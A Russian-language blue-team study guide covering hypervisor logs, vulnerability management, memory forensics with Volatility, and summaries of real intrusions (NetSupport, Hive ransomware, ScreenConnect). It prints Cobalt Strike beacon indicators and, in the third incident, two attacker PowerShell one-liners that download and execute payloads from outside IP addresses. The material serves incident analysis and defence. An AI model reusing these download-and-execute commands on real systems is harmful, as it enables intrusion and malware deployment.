Описание: Снимок 'Имя снимка' был успешно создан для виртуальной машины 'Имя виртуальной машины'.

  2. Изменение конфигурации (событие ID 12540): Это событие регистрируется, когда изменяется конфигурация виртуальной машины. В журнале событий будет указано имя виртуальной машины и детали изменения.

    Источник: Microsoft-Windows-Hyper-V-VMMS
ID события: 12540
Уровень: Информация
Описание: Конфигурация виртуальной машины 'Имя виртуальной машины' была успешно изменена.

  3. Перемещение виртуальной машины (событие ID 20410): Это событие регистрируется, когда виртуальная машина перемещается с одного хоста на другой. В журнале событий будет указано имя виртуальной машины и детали перемещения.

    Источник: Microsoft-Windows-Hyper-V-VMMS
ID события: 20410
Уровень: Информация
Описание: Виртуальная машина 'Имя виртуальной машины' была успешно перемещена

KVM (Kernel-based Virtual Machine):

KVM встроен в ядро Linux и обеспечивает поддержку виртуализации на уровне аппаратного обеспечения. Это открытое программное обеспечение и является частью многих дистрибутивов Linux. KVM обеспечивает высокую производительность и расширяемость.

Система виртуализации KVM хранит различные типы логов, которые помогают в отслеживании действий и устранении проблем. Ниже представлены некоторые из них:

/var/log/syslog или /var/log/messages общие логи операционной системы, которые также могут содержать информацию о действиях KVM
/var/log/libvirt/ Libvirt — это инструментарий для управления платформами виртуализации, включая KVM

KVM использует QEMU для эмуляции аппаратного обеспечения. Логи QEMU могут быть полезны для отладки проблем с эмуляцией аппаратного обеспечения.

Каждая виртуальная машина, работающая под управлением KVM, также может генерировать свои собственные логи. Эти логи могут быть полезны для отладки проблем внутри виртуальной машины.
Учитывая, что под капотом KVM находится обычный Linux, мы могли бы отслеживать события обращения к критичным ВМ несколькими методами.

Трекинг команд на хост системе: 

# Клонирование VM:
virt-clone
# Создание снепшота диска:
virsh snapshot-create-as
# Изменение конфигурации:
virsh dumpxml

Трекинг логов приложения виртуализации. В логах KVM и libvirt есть записи о выполнении команд, связанных с клонированием виртуальных машин, созданием снимков и изменением конфигурации.

Например, при клонировании виртуальной машины можете увидеть запись вида: 

2024-03-10 18:42:35.123+0000: 26757: info : libvirt version: 1.2.2
2024-03-10 18:42:35.123+0000: 26757: info : hostname: kvm-host
2024-03-10 18:42:35.123+0000: 26757: info : Domain id=7 name='original-vm' uuid=546a3d63-11b2-4fd4-b2c5-5e60f7e8cc5a is cloned as id=8 name='cloned-vm' uuid=5e60f7e8cc5a-11b2-4fd4-b2c5-546a3d63

При создании снимка диска: 

2024-03-10 18:42:35.123+0000: 26757: info : libvirt version: 1.2.2
2024-03-10 18:42:35.123+0000: 26757: info : hostname: kvm-host
2024-03-10 18:42:35.123+0000: 26757: info : Domain id=7 name='my-vm' uuid=546a3d63-11b2-4fd4-b2c5-5e60f7e8cc5a snapshot 'snapshot1' was created

И при изменении конфигурации виртуальной машины: 

2024-03-10 18:42:35.123+0000: 26757: info : libvirt version: 1.2.2
2024-03-10 18:42:35.123+0000: 26757: info : hostname: kvm-host
2024-03-10 18:42:35.123+0000: 26757: info : Domain id=7 name='my-vm' uuid=546a3d63-11b2-4fd4-b2c5-5e60f7e8cc5a configuration was changed

Xen:

Xen предлагает возможность использовать как гипервизор (Xen Hypervisor), так и технологию паравиртуализации. Xen был разработан для обеспечения высокой производительности и безопасности, и широко применяется в различных областях.
Эти системы виртуализации предоставляют различные возможности и применяются в зависимости от требований конкретных сценариев использования. Выбор системы виртуализации зависит от целей, бюджета, уровня экспертизы и конкретных потребностей виртуальной инфраструктуры. 

Blue team

Дополнительные индикаторы компроментации

Уязвимость - любая слабость в системе, например ошибка, которая обеспечивает злоумышленнику физический или цифровой доступ к системе. 

Угроза - человек, ситуация или прочее воздействие, способное воспользоваться уязвимостью

Задача отдела ИБ — закрыть уязвимости, соответствующие вашим угрозам, а НЕ победить саму угрозу. 

Управление уязвимостями позволяет снижать вероятность компрометации путем их своевременного обнаружения и устранения. Важно определение приоритетов для исправления уязвимостей на основе их серьезности и вероятности эксплуатации. Набор техник направлен на определение и классификацию уязвимостей в системах и приложениях до использования и анализ потенциального воздействия уязвимостей. Включает в себя шаги:

1. Определение активов и требований. Сначала реестр данных, активов и ПО. Определить внешние требования, например соответствие стандартам или сертификациям. Учитывается несколько факторов:

2. Приоретизация активов. При создании (обновлении) реестра активов, каждому активу проставляется "вес", учитывающийся при подготовке отчета и приоретизации уязвимостей для устранения. Зависит от типа компании. Уязвимости должны устраняться в первую очередь на активах, имеющих больший вес. 

3. Поиск уязвимостей. Процесс должен учитывать критичность активов. Учитываемые параметры при настройке ПО:

4. Оценка уязвимостей и отчет Например, критическая уязвимость на сервере, не подключенном к интернету и находящемся в бункере будет иметь приоритет ниже, чем подобная уязвимость на публичном веб-сервере. Полученный отчет отправляется владельцу актива для устранения. 

5. Исправление уязвимости Владелец актива устраняет уязвимости в отчете (установка обновлений безопасности, отключение уязвимых сервисов, замену устаревшего оборудования). Затем подтверждается, что уязвимость действительно устранена. Сотрудник, ответственный за устранение уязвимости определяет следующие аспекты:

6. Проверка эффективности процесса Для стабильной работы необходимо постоянно оценивать его эффективность (сбор метрик, статистики или аудит). Поиск, адресация и устранение уязвимостей могут генерировать значительную нагрузку на технический персонал, бюджет, и, в зависимости от выстроенных процессов, административную нагрузку на согласование заявок на устранение. Частота/глубина сканов и скорость устранения уязвимостей зависит от множества факторов и будет уникальной для каждой компании. 

Единственная универсальная рекомендация — этот процесс должен быть регулярным. Независимо от частоты сканирования (для кого-то и частота сканирований раз в год будет подходящим вариантом). Наличие регулярного процесса помогает заранее планировать время и ресурсы, повышает общую осведомленность сотрудников IT, и позволяет оценивать изменения уровня рисков за наблюдаемый период времени.

Управление уязвимостями внутри периметра

Как правило внутренние сканы бывают следующих видов:

Управление патчами(заплатками).

Несмотря на то, что термины управления уязвимостями и управления патчами часто используются взаимозаменяемо, это разные, хоть и взаимодополняющие процессы. 

Процесс управления патчами (Patch management) отвечает за поиск, тестирование и своевременное применение обновлений безопасности на ИТ оборудовании компании. Отдельно стоит отметить важность тестирования выкатки патчей - ведь вместе с исправлением одних проблем производитель может анонсировать другие, более критичные для бизнеса. 

Пассивная проверка на наличие уязвимостей

Еще одним способом проверить машину на наличие уязвимостей является сбор информации об установленных приложениях и проверка этого списка в открытых источниках или специализированных сервисах. Пример сервиса vulners.com:

1. Перейдем на сайт https://vulners.com/scanner/audit и выберем соответствующую ОС(для примера будем использовать Oracle Linux). 

2. Скопируем предложенную команду и выполним ее на нашем сервере:

rpm -qa --qf '%{NAME}-%{VERSION}-%{RELEASE}.%{ARCH}\n'

3. Вставим полученный результат обратно на сайт:

4. И после нажатия кнопки "Next" получим результат — список известных уязвимостей в установленых пакетах! 

Плюсы

Минусы

Для полноценной интеграции подобных сервисов в процесс управления уязвимостями необходимо эту интеграцию самостоятельно разработать. Выгрузка списка ПО из инвентори, запросы в API сервиса, выгрузка результатов в тикет-систему и прочие детали могут потребовать значительное время на разработку и поддержку автоматизации.

Стандарт CIS benchmark: проверка конфигурации

Для проверки конфигурации ПО на узлах сети используются либо встроенные средства сканера, либо специализированное ПО. Золотым стандартом в индустрии является CIS(Center Internet Security) benchmark. Ознакомиться с ним можно на сайте: https://www.cisecurity.org/cis-benchmarks. Также в интернете можно найти неофициальные скрипты от сторонних разработчиков, например: https://github.com/finalduty/cis-benchmarks-audit.

Нам понадобится сервер с установленным python3. Склонируем репозиторий:

# git clone https://github.com/finalduty/cis-benchmarks-audit.git

Перейдем в каталог с бенчмарком:

# cd cis-benchmarks-audit/

 И запустим скрипт со следующими параметрами:

# python3 ./cis_audit.py --level 1 --server

--level 1 определяет уровень "требовательности" к настройкам конфигурации, уровень 1 более требовательный, чем уровень 2;
--server говорит о том, что мы проверяем конфигурацию сервера, а не рабочей станции.

Анализируя результаты необходимо иметь в виду как внешние требования к компании (например, требования соответствия каким-либо стандартам), так и задачи бизнеса. 

Например, в некоторых проверках бенчмарк требует, чтобы на сервере не были установлены определенные приложения, например HTTP server. Разумеется, это требование не имеет смысла для серверов, задачей которых как раз является обеспечение работы веб-приложений.

Анализ конфигурационных файлов системы аудита

Программы аудита отслеживают огромное количество событий системы, которые впоследствии можно использовать для отслеживания инцидентов ИБ. Первый вопрос, на который нужно ответить при составлении списка правил для аудита это "Какие есть требования к мониторингу событий? Какие события нам нужно отслеживать?"

Если специфических требований нет, то можно обратиться к матрице MITRE. 

Как мы видим, самыми полезными событиями для мониторинга по статистике являются выполнение команд, создание процессов, модификация и создание файлов и события, связанные с сетевым трафиком. 

 

GreenBone Vulnerability Management 

GVM состоит из демона Greenbone Vulnerability Manager (gvmd), Greenbone Security Assistant (GSA), Greenbone Security Assistant Daemon (gsad) и сканера OpenVAS. Вариации:

У всех есть Greenbone Security Assistant (GSA) — веб-интерфейс для настройки сканирования и получения информации об уязвимостях.

Настройка GreenBone

Сначала определяется цель (Target) сканирования - совокупность сканируемых хостов. Настраивается через:

Digital Forensic исследует и анализирует цифровые устройства и данные для выявления преступных действий, инцидентов безопасности или других аномалий. 

Анализ позволяет выявить новые вредоносные объекты или даже техники, пополнив индикаторы компрометации (IOC) и сигнатуры для EDR решений. Таким образом, подобные угрозы будут своевременно предотвращать в будущем.

В случае, если инцидент происходит в данный момент, то по результатам проведенного анализа вы сможете начать противодействие. Первыми простыми шагами противодействия могут оказаться блокировка обнаруженных IP-адресов, доменных имен или вредоносных исполняемых файлов.

Анализ оперативной памяти

Исследование оперативной памяти позволяет увидеть активные процессы, открытые сетевые соединения, пароли, ключи шифрования и многое другое. Сбор дампа оперативной памяти (memory dump) — первый этап анализа оперативной памяти.

Сбор дампа оперативной памяти с ВМ

Техники сбора дампов через средства виртуализации В VMware и Fusion (для MacOS) для получения дампа памяти достаточно поставить ВМ на паузу и скопировать два файла: .vmem и .vmss из директории ВМ.

Сбор дампа оперативной памяти с "железного" ПК

WinPmem: Старый, открытый исходный код, для Windows. Раньше был в Rekall, сейчас отдельный репозиторий.
DumpIt: упрощенный, Windows и Linux. В Windows объединяет 32-битную и 64-битную память в один выходной файл.
MemDump: бесплатная и простая утилита командной строки
Belkasoft RAM Capturer: мощный, бесплатный. Может захватывать ОП работающего ПК Windows даже при активной защите от отладки или защиты от дампа.
Magnet RAM Capture: бесплатный и простой.
LiME (Linux Memory Extractor): это загружаемый модуль ядра (LKM), прозрачный для целевой системы.

Режим гибернации (сон) в Windows

ОП перед отключением питание сохраняет состояние в файл C:\hiberfil.sys, в нем есть дамп ОП.

Strings Linux дефолтное приложение, пример:

Поиск IP адресов

strings win_52a.vmem | grep -E "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b"

Поиск почтовых адресов (email)

strings win_52a.vmem | grep -oE "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,4}\b"

Поиск артефактов командной строки

strings win_52a.vmem | grep -E "(cmd|powershell|bash)[^\s]+"

Volatility

Volatility де-факто главный инструмент анализа ОП.

Volatility2 vs Volatility3

Используемые модули:

Вывод списка процессов

# vol -f win_52a.vmem windows.pslist
Volatility 3 Framework 2.5.2
Progress:  100.00		PDB scanning finished                        
PID	PPID	ImageFileName	Offset(V)	Threads	Handles	SessionId	Wow64	CreateTime	ExitTime	File output

4	0	System	0xa80934e81040	120	-	N/A	False	2023-11-07 06:34:32.000000 	N/A	Disabled
92	4	Registry	0xa80934ebd080	4	-	N/A	False	2023-11-07 06:34:25.000000 	N/A	Disabled
316	4	smss.exe	0xa80935b93040	2	-	N/A	False	2023-11-07 06:34:32.000000 	N/A	Disabled
...

Вывод дерева процессов

# vol -f win_52a.vmem windows.pstree
Volatility 3 Framework 2.5.2
Progress:  100.00		PDB scanning finished                        
PID	PPID	ImageFileName	Offset(V)	Threads	Handles	SessionId	Wow64	CreateTime	ExitTime

4	0	System	0xa80934e81040	120	-	N/A	False	2023-11-07 06:34:32.000000 	N/A
* 1676	4	MemCompression	0xa80939902080	26	-	N/A	False	2023-11-07 06:34:41.000000 	N/A
508	428	wininit.exe	0xa8093608e300	1	-	0	False	2023-11-07 06:34:39.000000 	N/A
* 644	508	services.exe	0xa80936ed0180	9	-	0	False	2023-11-07 06:34:39.000000 	N/A
** 1048	644	svchost.exe	0xa8093b5e8340	4	-	0	False	2023-11-07 06:35:43.000000 	N/A
** 1564	644	svchost.exe	0xa809398a5340	3	-	0	False	2023-11-07 06:34:41.000000 	N/A
...

Сканирование процессов

# vol -f win_52a.vmem windows.psscan
Volatility 3 Framework 2.5.2
Progress:  100.00		PDB scanning finished                        
PID	PPID	ImageFileName	Offset(V)	Threads	Handles	SessionId	Wow64	CreateTime	ExitTime	File output

2992	644	svchost.exe	0xa60000081080	8	-	0	False	2023-11-07 06:34:44.000000 	N/A	Disabled
3224	644	svchost.exe	0xa600001b7080	6	-	0	False	2023-11-07 06:34:44.000000 	N/A	Disabled
4	0	System	0xa80934e81040	120	-	N/A	False	2023-11-07 06:34:32.000000 	N/A	Disabled
92	4	Registry	0xa80934ebd080	4	-	N/A	False	2023-11-07 06:34:25.000000 	N/A	Disabled
528	2976	cmd.exe	0xa80934f44080	0	-	0	False	2023-11-07 08:49:34.000000 	2023-11-07 08:49:34.000000 	Disabled
2340	644	spoolsv.exe	0xa8093542f080	9	-	0	False	2023-11-07 06:34:42.000000 	N/A	Disabled
316	4	smss.exe	0xa80935b93040	2	-	N/A	False	2023-11-07 06:34:32.000000 	N/A	Disabled
516	500	csrss.exe	0xa80935fc3080	12	-	1	False	2023-11-07 06:34:39.000000 	N/A	Disabled
508	428	wininit.exe	0xa8093608e300	1	-	0	False	2023-11-07 06:34:39.000000 	N/A	Disabled
436	428	csrss.exe	0xa80936c9a080	10	-	0	False	2023-11-07 06:34:38.000000 	N/A	Disabled
...

Сканирование процессов (psscan) может показать больше информации, чем обычное отображение списка процессов (pslist), если у каких-то процессов использовались техники сокрытия.

Поиск зловредной активности

# vol -f win_52a.vmem windows.malfind
Volatility 3 Framework 2.5.2
Progress:  100.00		PDB scanning finished                        
PID	Process	Start VPN	End VPN	Tag	Protection	CommitCharge	PrivateMemory	File output	Hexdump	Disasm

...
2216	cybered_beacon	0x1b2017f0000	0x1b20183dfff	VadS	PAGE_EXECUTE_READWRITE	78	1	Disabled	
4d 5a 41 52 55 48 89 e5	MZARUH..
48 81 ec 20 00 00 00 48	H......H
8d 1d ea ff ff ff 48 89	......H.
df 48 81 c3 cc 60 01 00	.H...`..
ff d3 41 b8 f0 b5 a2 56	..A....V
68 04 00 00 00 5a 48 89	h....ZH.
f9 ff d0 00 00 00 00 00	........
00 00 00 00 f8 00 00 00	........	4d 5a 41 52 55 48 89 e5 48 81 ec 20 00 00 00 48 8d 1d ea ff ff ff 48 89 df 48 81 c3 cc 60 01 00 ff d3 41 b8 f0 b5 a2 56 68 04 00 00 00 5a 48 89 f9 ff d0 00 00 00 00 00 00 00 00 00 f8 00 00 00
8620	rundll32.exe	0x1f182510000	0x1f18255dfff	VadS	PAGE_EXECUTE_READWRITE	78	1	Disabled	
4d 5a 41 52 55 48 89 e5	MZARUH..
48 81 ec 20 00 00 00 48	H......H
8d 1d ea ff ff ff 48 89	......H.
df 48 81 c3 cc 60 01 00	.H...`..
ff d3 41 b8 f0 b5 a2 56	..A....V
68 04 00 00 00 5a 48 89	h....ZH.
f9 ff d0 00 00 00 00 00	........
00 00 00 00 f8 00 00 00	........	4d 5a 41 52 55 48 89 e5 48 81 ec 20 00 00 00 48 8d 1d ea ff ff ff 48 89 df 48 81 c3 cc 60 01 00 ff d3 41 b8 f0 b5 a2 56 68 04 00 00 00 5a 48 89 f9 ff d0 00 00 00 00 00 00 00 00 00 f8 00 00 00

...

Вывод информации о сетевых взаимодействиях процессов

# vol -f win_52a.vmem windows.netscan.NetScan
Volatility 3 Framework 2.5.2
Progress:  100.00		PDB scanning finished                        
Offset	Proto	LocalAddr	LocalPort	ForeignAddr	ForeignPort	State	PID	Owner	Created

0xa80935d55050	TCPv4	0.0.0.0	49664	0.0.0.0	0	LISTENING	664	lsass.exe	2023-11-07 06:34:40.000000 
0xa80935d555d0	TCPv4	0.0.0.0	49664	0.0.0.0	0	LISTENING	664	lsass.exe	2023-11-07 06:34:40.000000 
0xa80935d555d0	TCPv6	::	49664	::	0	LISTENING	664	lsass.exe	2023-11-07 06:34:40.000000 
0xa80935d55890	TCPv4	0.0.0.0	135	0.0.0.0	0	LISTENING	892	svchost.exe	2023-11-07 06:34:40.000000 
0xa80935d559f0	TCPv4	0.0.0.0	135	0.0.0.0	0	LISTENING	892	svchost.exe	2023-11-07 06:34:40.000000 
...

Поиск по Yara-правилам

# vol -f win_52a.vmem windows.vadyarascan.VadYaraScan --yara-file "./malware_rules.yar"
Volatility 3 Framework 2.5.2
Progress:  100.00		PDB scanning finished                        
Offset	PID	Rule	Component	Value

0x18201b6bec9	92	spyeye_plugins	$o	72 64 70 2e 64 6c 6c
0x182020eb214	92	spyeye_plugins	$o	72 64 70 2e 64 6c 6c
0x182020eb494	92	spyeye_plugins	$o	72 64 70 2e 64 6c 6c
0x182025e8fb7	92	spyeye_plugins	$o	72 64 70 2e 64 6c 6c
0x18202e3f53f	92	spyeye_plugins	$o	72 64 70 2e 64 6c 6c
0x18202e4a83f	92	spyeye_plugins	$o	72 64 70 2e 64 6c 6c
0x182031bef0c	92	spyeye_plugins	$o	72 64 70 2e 64 6c 6c
0x182032bbf6f	92	spyeye_plugins	$o	72 64 70 2e 64 6c 6c
0x182032c293f	92	spyeye_plugins	$o	72 64 70 2e 64 6c 6c
0x182033015b4	92	spyeye_plugins	$o	72 64 70 2e 64 6c 6c
0x18204295fec	92	spyeye_plugins	$o	72 64 70 2e 64 6c 6c
0x182071b6479	92	Insta11Strings	$	42 31 32 41 45 38 39 38 2d 44 30 35 36 2d 34 33 37 38 2d 41 38 34 34 2d 36 44 33 39 33 46 45 33 37 39 35 36
0x182072a3a31	92	Insta11Strings	$	45 43 44 34 46 43 34 44 2d 35 32 31 43 2d 31 31 44 30 2d 42 37 39 32 2d 30 30 41 30 43 39 30 33 31 32 45 31
0x182079b80c9	92	Insta11Strings	$	42 31 32 41 45 38 39 38 2d 44 30 35 36 2d 34 33 37 38 2d 41 38 34 34 2d 36 44 33 39 33 46 45 33 37 39 35 36
0x18207a74911	92	Insta11Strings	$	45 43 44 34 46 43 34 44 2d 35 32 31 43 2d 31 31 44 30 2d 42 37 39 32 2d 30 30 41 30 43 39 30 33 31 32 45 31
0x255fc21709c	780	SharedStrings	$m4	00 00 00 00 45 00 52 00 00 00 00 00
...

Использование дополнительных плагинов

# vol -r pretty -f win_52a.vmem -p /opt/volatility3/volatility3/framework/plugins/ cobaltstrike
Volatility 3 Framework 2.5.2
Formatting...0.00               PDB scanning finished                        
  |  PID |        Process | Port | Sleep | Jitter |                                       Server |   POST_PATH |               x86 Install_Path |                x64 Install_Path | Pipe | License ID
* | 2216 | cybered_beacon |  443 | 60000 |      0 |              cybered-c2.gopherz.ru,/activity | /submit.php | %windir%\syswow64\rundll32.exe | %windir%\sysnative\rundll32.exe |      | 1580103824
* | 8620 |   rundll32.exe |  443 | 60000 |      0 | cybered-c2.gopherz.ru,/IE9CompatViewList.xml | /submit.php | %windir%\syswow64\rundll32.exe | %windir%\sysnative\rundll32.exe |      | 1580103824

В этом примере используется дополнительный плагин volatility 3 для поиска процесса, в рамках которого устанавливается связь с популярным Command&Control системой CobaltStrike.

Возможные ошибки YARA-библиотек

Работая с плагинами cobaltstrike и yarascan, вы, возможно, встретите ошибки загрузки этих плагинов. Введя флаг -vvv в конец команды vol, вы увидите, что приложение ругается на то, что не может выполнить команду import yara.

Причина в том, что cobaltstrike основан на yarascan, а он в свою очередь требует python-модуль yara версии 3.8.0 и выше. Поэтому нам надо удалить устаревший модуль yara и установить новый yara-python. А затем поправить некоторые ссылки на библиотеку.

В итоге, фиксим и проверяем себя так:

pip3 uninstall yara
pip3 install yara-python

# python3
Python 3.10.12 (main, Nov 20 2023, 15:14:05) [GCC 11.4.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import yara
Failed to import '/usr/lib/libyara.so'


# find / -name libyara.so
/usr/local/lib/python3.10/dist-packages/usr/lib/libyara.so

# ln -s /usr/local/lib/python3.10/dist-packages/usr/lib/libyara.so /usr/lib/libyara.so

# python3
Python 3.10.12 (main, Nov 20 2023, 15:14:05) [GCC 11.4.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import yara
>>> yara.__version__
'4.5.0'
>>>

Анализ HDD

Для групп реагирования на инциденты выделяются определенные функции:

Все перечисленные выше критерии отлично реализованы в бесплатном программном обеспечении Autopsy.

Autopsy

Функции: построение временной диаграммы, поиск ключевых слов, извлечение артефактов из Интернета и электронной почты, а также возможность фильтровать результаты на основе известных хешей вредоносных файлов.

Loki / Thor

Основываясь на YARA-правилах, будучи запущенными непосредственно на зараженном ПК, они помогут вам определить подозрительные файлы и процессы.

Loki — бесплатная, но устаревшая и не поддерживаемая версия продукта, написанная на python.

Thor Lite — бесплатная новая версия с 4000 YARA правилами, идущими в комплекте + свои.

Thor — платная версия с 25000 YARA правилами.

Разработчик: https://www.nextron-systems.com/compare-our-scanners/

Blue team

Примеры атак

Инцидент №1

В атаке используется некогда популярный инструмент для удаленного доступа NetSupport. 

Эта атака началась с электронного письма с прикрепленным zip-файлом, содержащим вредоносный файл JavaScript. После доставки электронного письма пользователь извлек и запустил этот файл. Код JavaScript скачал скрипт PowerShell, который выполнялся в памяти. Запущенный скрипт PowerShell отвечал за развертывание NetSupport в системе, за проверку того, чтобы атака не запускалась в «песочнице», а также за обеспечение закрепления в системе с помощью ключей реестра Windows.

После установки NetSupport злоумышленник провел предварительную разведку, используя различные утилиты Windows, такие как whoami, net и systeminfo. Затем злоумышленник попытался повторно включить учетную запись администратора домена, которая была отключена, но, похоже, безуспешно.

Через несколько часов за этим действием последовала установка сервера OpenSSH для обеспечения устойчивости доступа атакующего. Для подключения к серверу OpenSSH злоумышленник установил реверсивный SSH-туннель от сервера жертвы к собственному серверу, размещенному у провайдера VPS.

Используя ранее упомянутый SSH-туннель для прокси-подключений через хост-плацдарм, злоумышленник установил соединение с контроллером домена. Через SSH-туннель злоумышленник использовал Impacket atexec.py для выполнения различных команд обнаружения в поисках привилегированных групп и компьютеров, присоединенных к домену.

Восемь часов спустя злоумышленник изменил настройки брандмауэра на удаленном сервере, а затем начал использовать Impacket wmiexec.py для дальнейшего перемещения. Злоумышленник загрузил CAB-файлы на удаленные хосты с помощью протокола SMB, а затем запустил их с помощью команды wmiexec.py. Исполняемые файлы также представляли собой вредоносное ПО NetSupport, однако они были настроены для взаимодействия с новым сервером управления и контроля. После запуска злоумышленник настроил запланированное задание Windows (scheduled task) для сохранения доступа на этих машинах.

Злоумышленник вернулся на следующий день, развернув NetSupport на контроллере домена. Получив этот доступ, он приступил к скачиванию базы данных NTDS.dit. После получения дампа он использовал 7-zip для сжатия файлов. Скорее всего этот архив был похищен через один из существующих сетевых каналов управления и контроля.

Менее чем через час злоумышленник перешел на другой контроллер домена и снова приступил к дампу NTDS.dit. Он также запустил Pingcastle, инструмент аудита каталога AD. С помощью NetSupport атакующий подключился к серверу резервных копий, чтобы создать новую учетную запись и добавить ее в группы локальных администраторов и пользователей удаленного рабочего стола. Используя эту учетную запись, он вошел в систему с помощью RDP.

После входа в систему злоумышленник загрузил программу Netscan и проверил состояние Microsoft Defender, а затем отключил его. После отключения защиты он загрузил программу ProcDump и приступил к скачиванию базы LSASS на контроллере домена и на сервере резервных копий.

После этого злоумышленник запустил скрипт PowerShell для поиска и сохранения событий входа в систему. Затем журнал событий был заархивирован с помощью 7-zip, и скачан для дальнейшего изучения. Злоумышленник также просмотрел общие файловые ресурсы контроллера домена, открыв несколько конфиденциальных документов. Затем Netscan был загружен на контроллер домена и запущен там. Злоумышленник выполнил еще несколько команд обнаружения с использованием WMI, а затем выполнил некоторую очистку, уничтожив запущенные задачи, такие как Netscan и SSH-туннель.

Последние наблюдаемые действия заключались в том, что злоумышленник загрузил два бинарных файла Nim на контроллер домена. Эти бинарные файлы Nim затем использовались для попытки создать бэкдор-пользователя и повысить его права до уровня администратора. Исследователи не обнаружили ни одной учетной записи, созданной после выполнения. После тестирования выяснилось, что инструмент не работает и возвращает ошибку. После этого со стороны злоумышленника не было замечено никаких дальнейших действий до момента пока он не был отключен от сети предприятия.

Полный отчет можно найти по ссылке https://thedfirreport.com/2023/10/30/netsupport-intrusion-results-in-domain-compromise/

На рисунке ниже можно увидеть классификацию техник атакующего по матрице MITRE:

Классификация техник атакующих по матрице MITRE (ссылка на источник)

Инцидент №2

В 2022 году было отмечено увеличение количества использования злоумышленниками инструментов для удаленного управления (Remote Management and Monitoring, RMM). В сравнении с другими пост-эксплуатационными каналами доступа, которые сильно завязаны на использование терминала (например Cobalt Strike или Metasploit), наличие графического интерфейса делает взаимодействие атакующих с взломанными машинами более удобным.

В связи с возросшей популярностью сервисной модели SaaS (Software as a Service), множество программ RMM работают как облачные сервисы.  Используя каналы связи, которые работают с использованием легитимных инструментов RMM, атакующие усложняют обнаружение их активности. 

Эта атака использует несколько RMM, была обнаружена в конце 2022 года, и в конечном итоге привела к заражению компании программой-вымогателем Hive. 

В ходе этого вторжения, произошедшего в октябре 2022 года, злоумышленник использовал инструмент RMM в качестве начального доступа, а закончилось все установкой программы-вымогателя Hive. Изначальный доступ был получен с помощью фишинга, атакующий использовал исполняемый файл, маскирующийся под легитимный документ. 

Выполнение файла привело к установке ScreenConnect . Этот первоначальный метод доступа требует, чтобы конечный пользователь был локальным администратором, поскольку пользователи с ограниченными правами не смогли бы установить программу. Примерно через час после установки злоумышленник запустил несколько команд для разведки окружения через ScreenConnect, используя стандартные утилиты Windows, такие как systeminfo, ipconfig и net . Через несколько минут злоумышленник запустил копирование с помощью BITS для установки Cobalt Strike.

Через час злоумышленник загрузил еще один файл, который представляет из себя инфицированный трояном исполняемый модуль ApacheBench со встроенным шелл-кодом Metasploit. При выполнении шелл-код инициирует канал управления Meterpreter. 

После запуска нового канала управления и контроля, злоумышленник перешел к горизонтальному перемещению с помощью сервиса удаленных служб, запустив установщики программ Atera и Splashtop (обе программы используются для обеспечения удаленного доступа) на сервере. Также с помощью BITS на сервера был доставлен Cobalt Strike.

Примерно через 20 минут после этого действия злоумышленник продолжает свое перемещение по сети к другим серверам, с помощью скрипта wmiexec.py Impacket. 

На следующий день злоумышленник загрузил файл Mimikatz на несколько серверов и запустил их удаленно с помощью wmiexec. Активность стихла еще на несколько часов, пока злоумышленник не вернулся и не запустил новый маяк Cobalt Strike на нескольких хостах по всей сети. Из этих маяков было отправлено несколько команд для разведки окружения, после чего злоумышленник снова впал в спячку.

На следующий день злоумышленник выполнил скрипт, предназначенный для извлечения данных Active Directory, с помощью встроенных утилит PowerShell. Затем активность прекратилась до позднего вечера, когда злоумышленник вернулся и начал получать доступ к хостам через RDP. В ходе этих RDP сеансов злоумышленник просматривал общие файловые ресурсы и резервные копии в сети. Затем злоумышленник загрузил Rclone на сервер с общими папками и приступил к настройке подключения к удаленному серверу через SFTP . После подключения злоумышленник приступил к выгрузке файлов через SFTP-соединение. Пока файлы копировались злоумышленник скачал netscan  и провел сканирование сети, уделяя особое внимание службам RDP.

Примерно через три часа после начала эксфильтрации злоумышленник начал свои последние действия, запустив программу-вымогатель Hive. Для начала атакующий изменил пароль администратора, а затем вручную запустил программу-вымогатель на нескольких ключевых серверах инфрастуктуры. После этих ручных запусков программ-вымогателей злоумышленник перешел к попыткам шифрования всего домена. Для этого злоумышленник разместил файл программы-вымогателя на общем сетевом ресурсе, а затем создал новый объект групповой политики для всего домена с запланированным заданием, предназначенным для запуска файла программы-вымогателя на каждом компьютере в домене.

Поскольку злоумышленник неправильно настроил GPO и создание запланированных задач, развертывание программы-вымогателя на уровне всего домена прошло неудачно. Однако ключевые серверы были успешно зашифрованы вручную.

С момента первоначального доступа и до установки программы-вымогателя прошел 61 час.

Инцидент №3

Вторжение началось с исполняемого файла document8765.exe. Файл был доставлен пользователю после посещения сайта https[:]//environmentca[.]com/bkh6q. По данным EDR, сайт был открыт из процесса Outlook, что указывает на вероятную доставку по электронной почте.

Существует множество методов обнаружения запуска программ, скачанных из интернета. Можно отслеживать MOTW (метки Интернета), или процессы, запускаемые из папок пользователя %USERPROFILE%\Downloads. Эти данные можно найти как в журнале событий безопасности (event id 4688) , так и в журнале Sysmon ( eventid 1 - создание процесса ).

После запуска document8765.exe установил приложение ScreenConnect через .msi установщик, который был загружен в папку %TEMP%.

После установки ScreenConnect атакующий запустил несколько CMD и PowerShell-скриптов для разведки:

Cobalt Strike

Одна из команд, запущеных с помощью ScreenConnect, предназначалась для установки Cobalt Strike с помощью скрипта PowerShell:

powershell.exe -nop -c "start-job { param($a) Import-Module BitsTransfer; $d = $env:temp + '\' + [System.IO.Path]::GetRandomFileName(); Start-BitsTransfer -Source 'http://31.41.244.192:80/96945jgjf' -Destination $d; $t = [IO.File]::ReadAllText($d); Remove-Item $d; IEX $t } -Argument 0 | wait-job | Receive-Job"

Поскольку данные передавались в незашифрованном виде, у аналитиков была возможность получить содержимое скрипта из сетевого трафика:

Cobalt Strike хранит свою конфигурацию в памяти, и эту конфигурацию можно извлечь, используя такие инструменты, как cobaltstrike-config-extractor.

Примерно через 40 минут злоумышленник использовал другой PowerShell-модуль, основанный на функции DownloadFile System.Net.WebClient , для загрузки %temp%\P6nqEdwk.exe . Этот "троянский" исполняемый файл был загружен с http://94.232.43[.]201:8080/dQhNZOV3Qm и впоследствии запущен.

powershell.exe -nop -w hidden -c [Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;$z="echo ($env:temp+'\P6nqEdwk.exe')"; (new-object System.Net.WebClient).DownloadFile('http://94.232.43.201:8080/dQhNZOV3Qm', $z); invoke-item $z

